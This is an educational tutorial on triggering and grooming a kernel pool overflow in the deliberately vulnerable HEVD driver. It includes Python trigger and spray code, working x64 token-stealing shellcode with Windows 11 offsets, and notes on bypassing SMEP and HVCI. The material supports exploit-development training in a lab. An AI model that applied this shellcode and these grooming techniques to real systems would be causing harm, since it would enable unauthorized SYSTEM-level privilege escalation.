Tutorial

Windows Kernel Pool Overflow Foundations with HEVD

Trigger and analyze a pool buffer overflow in a vulnerable Windows kernel driver, groom the kernel pool, and map the privilege-escalation stage that follows.

9 min read advanced

Prerequisites

  • Completion of Bypassing DEP with ROP on Windows and Bypassing ASLR on Windows
  • Understanding of Windows kernel architecture (ring 0 vs ring 3)
  • Familiarity with WinDbg
  • Knowledge of Windows driver model basics

Part 6 of 7 in Windows Exploitation

Table of Contents

Everything up to this point (most recently Bypassing ASLR on Windows) has been user-mode exploitation, corrupting memory in a process to hijack its execution. Kernel exploitation is a different game. You’re corrupting memory in the kernel’s address space, where a wrong move doesn’t crash a process, it blue-screens the entire machine. But the payoff is correspondingly larger: kernel code runs at ring 0 with full system privileges.

This tutorial uses a pool buffer overflow in a deliberately vulnerable kernel driver to study the moving pieces that make kernel privilege escalation possible. The target is HackSys Extreme Vulnerable Driver (HEVD), an open-source driver designed for learning kernel exploitation.

User mode exploit:          Kernel exploit:
┌──────────────┐            ┌──────────────┐
│ Process A    │            │ Process A    │
│ (corrupted)  │            │ (low priv)   │
│ → runs as    │            │ → calls      │
│   same user  │            │   driver     │
└──────────────┘            └──────┬───────┘
                                   │ IOCTL
                            ┌──────▼───────┐
                            │ Kernel       │
                            │ (corrupted)  │
                            │ → SYSTEM     │
                            │   privileges │
                            └──────────────┘

Lab setup

Kernel debugging requires two machines (or VMs): a debugger host and a debuggee target.

Debuggee VM (Windows 11 x64)

  1. Install Windows 11 in a VM (VirtualBox or VMware)
  2. Enable test signing to load unsigned drivers:
bcdedit /set testsigning on
bcdedit /set debug on
bcdedit /dbgsettings serial debugport:1 baudrate:115200
  1. Configure a serial port in the VM settings (pipe mode for VM-to-host debugging)
  2. Reboot

Debugger host

  1. Install WinDbg Preview from the Microsoft Store (or use the classic WinDbg from the Windows SDK)
  2. Configure the serial connection to the debuggee VM
  3. Set symbol path:
.sympath srv*C:\Symbols*https://msdl.microsoft.com/download/symbols

Installing HEVD

Download the prebuilt HEVD driver from the releases page or build from source.

On the debuggee VM:

:: Copy driver to system directory
copy HEVD.sys C:\Windows\System32\drivers\

:: Create and start the service
sc create HEVD type=kernel binPath=C:\Windows\System32\drivers\HEVD.sys
sc start HEVD

Verify the driver loaded:

driverquery | findstr HEVD

Windows kernel pool internals

Before exploiting a pool overflow, you need to understand what the pool is and how it’s structured.

What is the kernel pool?

The Windows kernel pool is the kernel’s equivalent of the user-mode heap. When a driver calls ExAllocatePoolWithTag(NonPagedPool, size, 'Tag '), the pool allocator returns a chunk of kernel memory. The pool is divided into:

  • NonPagedPool, always resident in physical memory, used for DMA buffers and interrupt-level data
  • PagedPool, can be paged out to disk, used for most kernel allocations

Each allocation has a POOL_HEADER structure (16 bytes on x64) immediately before the returned pointer:

Pool chunk layout:

  ┌──────────────┬───────────────────────┐
  │ POOL_HEADER  │ Allocation data       │
  │ (16 bytes)   │ (requested size)      │
  ├──────────────┼───────────────────────┤
  │ POOL_HEADER  │ Next allocation       │
  │ (16 bytes)   │                       │
  └──────────────┴───────────────────────┘
POOL_HEADER structure (x64, 16 bytes):

  Offset  Size  Field
  0x00    2     PreviousSize (in units of 16 bytes)
  0x02    2     PoolIndex
  0x04    2     BlockSize (in units of 16 bytes)
  0x06    2     PoolType
  0x08    8     PoolTag (4 bytes) ∪ ProcessBilled (Ptr64, overlapping union)

The last 8 bytes at offset 0x08 are a union: for small allocations the first 4 bytes hold the PoolTag and the remaining 4 bytes are unused; for quota-charged allocations the full 8 bytes hold a ProcessBilled pointer to the owning EPROCESS. In WinDbg, !pool displays the tag interpretation.

Adjacent object corruption

A pool overflow writes past the end of one allocation and into the next. If you can control what object is adjacent to the overflowed buffer, you can corrupt that object’s data to gain code execution or privilege escalation.

Before overflow:

  ┌──────────────┬──────────┐┌──────────────┬──────────────┐
  │ POOL_HEADER  │ HEVD buf ││ POOL_HEADER  │ Target obj   │
  │              │ (vuln)   ││              │ (adjacent)   │
  └──────────────┴──────────┘└──────────────┴──────────────┘

After overflow:

  ┌──────────────┬──────────┐┌──────────────┬──────────────┐
  │ POOL_HEADER  │ HEVD buf ││ CORRUPTED    │ CORRUPTED    │
  │              │ AAAA...  ││ HEADER       │ OBJECT DATA  │
  └──────────────┴──────────┘└──────────────┴──────────────┘
                       overflow ──────────────→

The vulnerable IOCTL

HEVD exposes several vulnerability classes through IOCTLs (I/O Control codes). The pool overflow is triggered by IOCTL 0x22200F.

The vulnerable code in the driver:

// Simplified from HEVD source
NTSTATUS PoolOverflowIoctlHandler(PIRP Irp, PIO_STACK_LOCATION IrpSp) {
    SIZE_T size = IrpSp->Parameters.DeviceIoControl.InputBufferLength;
    PVOID userBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;

    // Allocate a fixed-size pool buffer
    PVOID poolBuffer = ExAllocatePoolWithTag(NonPagedPool, POOL_BUFFER_SIZE, 'kcaH');
    if (!poolBuffer) return STATUS_INSUFFICIENT_RESOURCES;

    // BUG: copies user-controlled size into fixed-size buffer
    RtlCopyMemory(poolBuffer, userBuffer, size);

    ExFreePoolWithTag(poolBuffer, 'kcaH');
    return STATUS_SUCCESS;
}

The driver allocates a fixed-size buffer (POOL_BUFFER_SIZE, typically 504 bytes) but copies size bytes from user input, where size is controlled by the caller. This is a textbook pool buffer overflow.

Note

ExAllocatePoolWithTag has been deprecated since Windows 10 2004 in favor of ExAllocatePool2, which defaults to zero-initialized memory. HEVD still uses the legacy API, which is why you’ll see it here and in most existing kernel exploitation literature.

Triggering the overflow from user mode

#!/usr/bin/env python3
"""Trigger the HEVD pool overflow from user mode."""
import ctypes
from ctypes import wintypes
import struct

kernel32 = ctypes.windll.kernel32

# Open handle to the HEVD device
GENERIC_READ  = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 3

hDevice = kernel32.CreateFileW(
    "\\\\.\\HackSysExtremeVulnerableDriver",
    GENERIC_READ | GENERIC_WRITE,
    0, None, OPEN_EXISTING, 0, None,
)

if hDevice == -1:
    print("[-] Failed to open device handle")
    exit(1)

print(f"[+] Device handle: 0x{hDevice:x}")

# IOCTL code for pool overflow
HACKSYS_EVD_IOCTL_POOL_OVERFLOW = 0x22200F

# Overflow buffer: POOL_BUFFER_SIZE + overflow into adjacent chunk
POOL_BUFFER_SIZE = 504
overflow_size = POOL_BUFFER_SIZE + 0x40 + 8  # header + data

buf = b"A" * overflow_size
buf_ptr = ctypes.c_char_p(buf)
bytes_returned = wintypes.DWORD()

print(f"[*] Sending {len(buf)} bytes (overflow: {len(buf) - POOL_BUFFER_SIZE} bytes past buffer)")

kernel32.DeviceIoControl(
    hDevice,
    HACKSYS_EVD_IOCTL_POOL_OVERFLOW,
    buf_ptr, len(buf),
    None, 0,
    ctypes.byref(bytes_returned),
    None,
)

kernel32.CloseHandle(hDevice)

If you run this and the system blue-screens, the overflow is working; you’ve corrupted the adjacent pool chunk’s header, causing a crash when the pool manager tries to use it.

Pool grooming

Random pool corruption causes crashes. To exploit this reliably, you need to control what object sits adjacent to the vulnerable buffer. This is pool grooming (or pool feng shui), the kernel equivalent of heap spraying.

The strategy

  1. Allocate many objects of the right size to fill pool gaps
  2. Free every other object to create a predictable pattern of free chunks
  3. Trigger the vulnerable allocation; it lands in one of the freed slots
  4. The adjacent occupied slot contains your target object

Choosing a target object

The target object must:

  • Be allocatable from user mode
  • Have a useful field to corrupt (a function pointer, a security descriptor, or an object pointer)
  • Be the right size to be adjacent to the vulnerable buffer

A classic grooming object on Windows is the Event object. CreateEvent allocates kernel KEVENT structures from the pool. By creating and releasing events, you can shape the pool layout around the vulnerable allocation.

For grooming to work, the spray object’s pool chunk must fall in the same size bucket as the vulnerable allocation. Use !poolfind and !pool in WinDbg to verify that your Event allocations are the right size and are landing adjacent to the HEVD buffer. If the sizes don’t match, you’ll need a different spray object whose total chunk size (header + body) aligns with the HEVD allocation’s bucket.

import ctypes
from ctypes import wintypes

kernel32 = ctypes.windll.kernel32

EVENT_ALL_ACCESS = 0x1F0003

def spray_events(count):
    """Allocate kernel Event objects to fill pool gaps."""
    handles = []
    for _ in range(count):
        h = kernel32.CreateEventW(None, False, False, None)
        if h:
            handles.append(h)
    return handles

def free_every_other(handles):
    """Free alternating handles to create predictable gaps."""
    freed = []
    kept = []
    for i, h in enumerate(handles):
        if i % 2 == 0:
            kernel32.CloseHandle(h)
            freed.append(i)
        else:
            kept.append(h)
    return kept, freed

# Step 1: Spray to fill existing gaps
print("[*] Spraying initial events...")
initial = spray_events(10000)

# Step 2: Create the target events (these will be adjacent to our overflow)
print("[*] Creating target events...")
targets = spray_events(5000)

# Step 3: Free alternating targets to create holes
print("[*] Poking holes...")
kept_targets, freed_indices = free_every_other(targets)

# Step 4: Trigger the overflow — it fills a hole, adjacent to a kept target
print("[*] Triggering overflow...")
# ... (trigger IOCTL here)

Note

Pool grooming is probabilistic. The exact layout depends on other kernel activity, pool chunk sizes, and timing. On a dedicated test VM with minimal background activity, reliability is high. In production environments, it’s less predictable.

[!important] The Event spray here is a layout primitive, not the final code-execution primitive. KEVENT objects are useful because user mode can allocate them cheaply and in volume, which makes them good neighbors for the vulnerable chunk. A full end-to-end exploit still needs a separately identified adjacent target whose corruption yields something actionable: a callback overwrite, a stale reference, or an arbitrary read/write primitive.

Visualizing pool layout

In WinDbg on the debuggee, examine the pool around your allocation:

!pool <address>

This shows the pool page layout, chunk sizes, tags, and free/allocated status. Look for your Hack tag adjacent to Event object tags.

!poolfind Hack

Finds all pool allocations with the Hack tag.

Privilege-Escalation Stage: Token Stealing

Once you have a control primitive in kernel mode, the standard privilege-escalation technique is token stealing: replacing the current process’s security token with the SYSTEM process’s token.

How tokens work

Every Windows process has a TOKEN object that defines its privileges. The token is referenced from the EPROCESS structure:

EPROCESS (partial):
  +0x000  Pcb (KPROCESS)
  +0x2E8  UniqueProcessId
  +0x2F0  ActiveProcessLinks (LIST_ENTRY — doubly-linked list of all processes)
  +0x360  Token (EX_FAST_REF — pointer to TOKEN object)

The ActiveProcessLinks field links all EPROCESS structures in a doubly-linked list. By walking this list, you can find the SYSTEM process (PID 4) and copy its token to your process.

Token-stealing shellcode

; x64 token stealing shellcode for Windows 11 22H2 (build 22621)
; Finds SYSTEM token and copies it to current process
; Verify offsets against your target build before use (see below)

[BITS 64]

push rbx                    ; Preserve non-volatile register

; Get current thread from KPCR (GS segment base)
mov rax, [gs:0x188]        ; KPCR.PrcbData.CurrentThread (KTHREAD*)
mov rax, [rax + 0x220]     ; KTHREAD.Process (EPROCESS*)
mov rbx, rax               ; RBX = current EPROCESS

; Walk ActiveProcessLinks to find SYSTEM (PID 4)
mov rax, [rax + 0x2F0]     ; EPROCESS.ActiveProcessLinks.Flink
find_system:
    sub rax, 0x2F0          ; Back to start of EPROCESS
    cmp dword [rax + 0x2E8], 4  ; Compare UniqueProcessId with 4 (SYSTEM)
    je found_system
    mov rax, [rax + 0x2F0]  ; Next process in list
    jmp find_system

found_system:
    ; Copy SYSTEM token to current process
    mov rcx, [rax + 0x360]  ; SYSTEM EPROCESS.Token
    and cl, 0xF0             ; Clear reference count bits (EX_FAST_REF low 4 bits)
    mov [rbx + 0x360], rcx  ; Overwrite current process token

    ; Return cleanly
    pop rbx                  ; Restore non-volatile register
    xor eax, eax             ; STATUS_SUCCESS
    ret

Warning

Offset sensitivity The offsets in this shellcode (0x188, 0x220, 0x2E8, 0x2F0, 0x360) are from Windows 11 22H2 (build 22621). They change between builds: even minor updates can shift structure layouts. Always verify against your target with WinDbg:

dt nt!_EPROCESS UniqueProcessId ActiveProcessLinks Token
dt nt!_KTHREAD Process

Verifying offsets in WinDbg

Connect to the debuggee and verify the structure offsets:

kd> dt nt!_KTHREAD Process
   +0x220 Process : Ptr64 _KPROCESS

kd> dt nt!_EPROCESS UniqueProcessId
   +0x2e8 UniqueProcessId : Ptr64 Void

kd> dt nt!_EPROCESS ActiveProcessLinks
   +0x2f0 ActiveProcessLinks : _LIST_ENTRY

kd> dt nt!_EPROCESS Token
   +0x360 Token : _EX_FAST_REF

Putting It Together

The full exploit flow, once you have identified a real adjacent target object, looks like this:

1. Groom the pool
   - Spray Event objects to fill gaps
   - Create target objects
   - Free alternating targets to create holes

2. Trigger pool overflow
   - Send oversized buffer via IOCTL
   - Overflow corrupts adjacent object

3. Convert corruption into a control primitive
   - Corrupt the chosen adjacent object
   - Turn that corruption into code execution, an arbitrary write, or another kernel-mode primitive
   - Only then redirect execution to token-stealing shellcode or perform the token swap directly

4. Token stealing
   - Shellcode walks EPROCESS list
   - Finds SYSTEM token
   - Copies it to current process

5. Spawn elevated shell
   - Current process now has SYSTEM token
   - CreateProcess("cmd.exe") runs as SYSTEM

Spawning an elevated shell

After the token steal, spawn a shell from the exploit process:

import subprocess
import os

def spawn_system_shell():
    """Spawn cmd.exe — if token steal worked, it runs as SYSTEM."""
    print("[*] Spawning shell...")
    subprocess.Popen(
        "cmd.exe",
        creationflags=0x00000010,  # CREATE_NEW_CONSOLE
    )

# Verify privilege
print(f"[*] Current user: {os.popen('whoami').read().strip()}")
# Before exploit: DESKTOP-XXX\user
# After exploit:  NT AUTHORITY\SYSTEM

Kernel debugging workflow

Kernel exploitation requires a different debugging workflow than user-mode.

Setting breakpoints

In WinDbg on the debugger host:

kd> bp HEVD!PoolOverflowIoctlHandler
kd> g

When the breakpoint hits, examine the pool allocation:

kd> !pool @rcx

Examining pool state

kd> !poolused 2

Shows pool usage by tag, useful for understanding the pool layout.

kd> !poolfind Hack

Finds all chunks with the HEVD tag.

Recovering from blue screens

Kernel bugs cause BSODs. Configure the debuggee to break into the debugger on bugcheck instead of rebooting:

kd> sxe bugcheck

When a BSOD occurs, WinDbg breaks in and you can examine the crash:

kd> !analyze -v

Modern mitigations

Windows 10 and later include kernel-level exploit mitigations that complicate pool exploitation.

Pool header encoding

Starting with Windows 10 1909, pool headers are encoded (XORed with a per-pool-page cookie). Corrupting the header without knowing the cookie causes an immediate bugcheck on ExFreePoolWithTag. To work around this, you need to either:

  • Leak the cookie value
  • Corrupt only the allocation data, not the header
  • Target an object whose useful field is within the overflow range without touching the next chunk’s header

SMEP and SMAP

Supervisor Mode Execution Prevention (SMEP) prevents the kernel from executing code in user-mode pages. You can’t simply point a corrupted function pointer at shellcode in your user-mode process.

Bypass approaches:

  • ROP in kernel space, build a ROP chain from kernel gadgets (same concept as user-mode, but using ntoskrnl.exe gadgets)
  • Disable SMEP via CR4, a ROP gadget that writes to the CR4 register can clear the SMEP bit, then jump to user-mode shellcode
  • Data-only attacks, modify kernel data structures (like tokens) without executing shellcode at all

Supervisor Mode Access Prevention (SMAP) prevents the kernel from reading/writing user-mode pages. This blocks the common pattern of placing controlled data in user space and having the kernel read it.

VBS and HVCI

Virtualization-Based Security (VBS) with Hypervisor-enforced Code Integrity (HVCI) prevents modification of kernel code pages entirely, even from ring 0. With HVCI enabled, ROP chains that modify CR4 or patch kernel code are blocked by the hypervisor. Exploitation requires pure data-only techniques.

Note

HEVD is designed for learning. The mitigations section describes what you’ll face on fully patched production systems. Start with HEVD on a test VM with mitigations relaxed, then progressively enable them as you advance.

Tips and troubleshooting

”System service exception” BSOD

You corrupted a pool header or an object field that the kernel accessed before you intended. Reduce the overflow size or adjust grooming to ensure the corrupted field is one you control.

Shellcode crashes in kernel mode

Kernel shellcode must preserve all non-volatile registers and return cleanly. Unlike user-mode shellcode, there’s no “crash and it’s fine”, a bad return crashes the machine. Wrap your shellcode in a proper function prologue/epilogue.

Pool grooming unreliable

Increase the spray count. Minimize background activity in the VM. Use a snapshot to restore state between attempts.

Finding EPROCESS offsets for other Windows versions

Use WinDbg connected to the target version, or check the Vergilius Project, a community-maintained database of Windows kernel structure definitions across versions.

What this tutorial covers and what comes next

This tutorial establishes the foundations: triggering a pool overflow, grooming the pool to control adjacency, and understanding the token-stealing payload that follows. What it does not cover is selecting a specific adjacent object whose corruption yields a working control primitive: that step is the most version-sensitive and object-specific part of kernel pool exploitation, and it varies across Windows builds and available kernel object types.

To continue from here:

  • Practice triggering the overflow and observing the pool layout in WinDbg until you can reliably place an Event allocation adjacent to the HEVD buffer
  • Study kernel objects that expose corruptible fields (callback pointers, type indices, security descriptors) and match the pool chunk size
  • Read published research on Windows kernel pool exploitation techniques: Connor McGarr’s and Alex Ionescu’s work are good starting points
  • Once you have a working primitive, combine it with the token-stealing shellcode (or a data-only equivalent for HVCI-enabled targets) to complete the privilege escalation